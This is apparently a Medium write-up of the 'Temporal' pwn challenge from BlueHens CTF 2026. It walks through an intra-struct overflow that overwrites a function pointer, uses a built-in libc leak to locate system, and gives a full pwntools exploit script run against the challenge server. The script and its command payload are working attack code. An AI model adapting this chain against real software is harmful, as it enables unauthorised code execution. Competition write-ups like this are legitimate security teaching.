Temporal | BlueHens CTF 2026
Category: PWN || Medium
Temporal | BlueHens CTF 2026
Category: PWN || Medium

Overview
The challenge provides a binary called Temporal Notes, a simple note-taking service.
At first glance, the binary felt too permissive, which usually means the difficulty isn’t in bypassing protections — but in understanding the logic.
Very quickly, a few things stood out:
- Hidden functionality
- Unsafe memory handling
- A built-in libc leak
That immediately suggested: this is going to be a clean chain, not a complicated exploit.
Initial Recon
checksec
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
First Thoughts
My initial reaction:
- No PIE → static addresses
- No canary → stack corruption is possible
- RWX → shellcode is viable
But honestly… this felt like overkill.
So I assumed:
There must be a simpler intended path.
Internal Structure
While checking the binary, these functions immediately caught my attention:
raw_write_note
parse_proc_leak
dispatch_note
At that point, it almost felt like the binary was telling me the exploit path directly 😄
After reversing, the note structure looked like:
[ note struct - 0x210 bytes ]
0x000 → 0x200 → content buffer
0x200 → 0x208 → func_ptr
0x208 → 0x20c → note_id
0x20c → 0x210 → active flag
Vulnerability — Intra-Struct Overflow
Inside raw_write_note:
read(0, note_ptr, 0x210);
This was the aha moment 👀
- Buffer size:
0x200 - Read size:
0x210
So instead of a classic heap overflow, we get an intra-struct overflow.
This means we can overwrite:
func_ptrnote_idactive
without leaving the allocated chunk.
Execution Primitive
Looking at dispatch_note:
call note->func_ptr(note_ptr);
This is where everything clicks.
If we control:
func_ptr → system
buffer → "command"
Then we effectively get:
system(command);
No ROP. No shellcode. Just clean control flow hijacking.
Libc Leak
There is a built-in leak via option 5:
[LEAK] libc base: 0x...
At first, I tried calling it randomly and got nothing useful.
After testing a bit, I realized:
- It just needs a valid note
- Content doesn’t matter
Once I saw the leak working, the rest became straightforward:
libc base → calculate system
Exploitation Process (How I Actually Solved It)
Step 1 — Create command note
I stored the command directly:
cat /flag.txt 2>/dev/null; cat /flag 2>/dev/null
I initially thought about spawning /bin/sh, but I avoided that early — interactive shells over remote connections tend to be unreliable.
Step 2 — Create dummy note
Just to satisfy the leak function.
Step 3 — Leak libc
Once I got:
[LEAK] libc base: 0x...
I knew the exploit was basically done.
Step 4 — Calculate system
system = libc_base + offset
Step 5 — Trigger overflow
Here I hit a small issue.
At one point, the exploit didn’t work — no crash, no output.
After debugging, I realized:
active = 0 → dispatch skips execution
So the fix was:
active = 1 ← critical
Payload layout:
[ command padded to 0x200 ]
[ system address ]
[ note_id ]
[ active = 1 ]
Step 6 — Trigger execution
Calling:
dispatch_note → system(command)
And instantly — the flag was printed 🎯
Final Output
UDCTF{t1m3_15_f4k3}
Why This Works
This challenge is very intentionally designed:
- Built-in libc leak
- Controlled overflow
- Function pointer execution
The difficulty isn’t technical — it’s recognizing how cleanly everything connects.
Solve Script
Below is the full exploit script used to solve the challenge:
from pwn import *
elf = ELF('./vuln', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.arch = 'amd64'
context.log_level = 'info'
HOST = '0.cloud.chals.io'
PORT = 26716
FLAG_CMD = b'cat /flag.txt 2>/dev/null; cat /flag 2>/dev/null'
def exploit():
p = remote(HOST, PORT)
p.recvuntil(b'> ')
# 1. Create note 0 (command)
p.sendline(b'1')
p.recvuntil(b'id (0-15): ')
p.sendline(b'0')
p.recvuntil(b'content: ')
p.sendline(FLAG_CMD)
p.recvuntil(b'> ')
# 2. Create dummy note
p.sendline(b'1')
p.recvuntil(b'id (0-15): ')
p.sendline(b'1')
p.recvuntil(b'content: ')
p.sendline(b'A')
p.recvuntil(b'> ')
# 3. Leak libc
p.sendline(b'5')
p.recvuntil(b'note id containing /proc data: ')
p.sendline(b'1')
leak_output = p.recvuntil(b'> ')
libc_base = int([l for l in leak_output.split(b'\n') if b'0x' in l][0].split(b'0x')[1], 16)
system_addr = libc_base + libc.symbols['system']
# 4. Overflow
p.sendline(b'8')
p.recvuntil(b'id: ')
p.sendline(b'0')
payload = FLAG_CMD.ljust(0x200, b'\x00')
payload += p64(system_addr)
payload += p32(0)
payload += p32(1)
p.send(payload)
p.recvuntil(b'> ')
# 5. Trigger
p.sendline(b'3')
p.recvuntil(b'id: ')
p.sendline(b'0')
print(p.recvall(timeout=5).decode())
exploit()
that’s it See you in the next writeup, Insha’Allah.
메타데이터
- post_id
- ed45fac32687
- slug
- temporal-bluehens-ctf-2026-ed45fac32687
- url
- https://medium.com/@Veen0o21/temporal-bluehens-ctf-2026-ed45fac32687
- canonical_url
- https://medium.com/@Veen0o21/temporal-bluehens-ctf-2026-ed45fac32687
- author_url
- https://medium.com/@Veen0o21
- status
- ok
- fetched_at
- 2026-07-11 01:37:02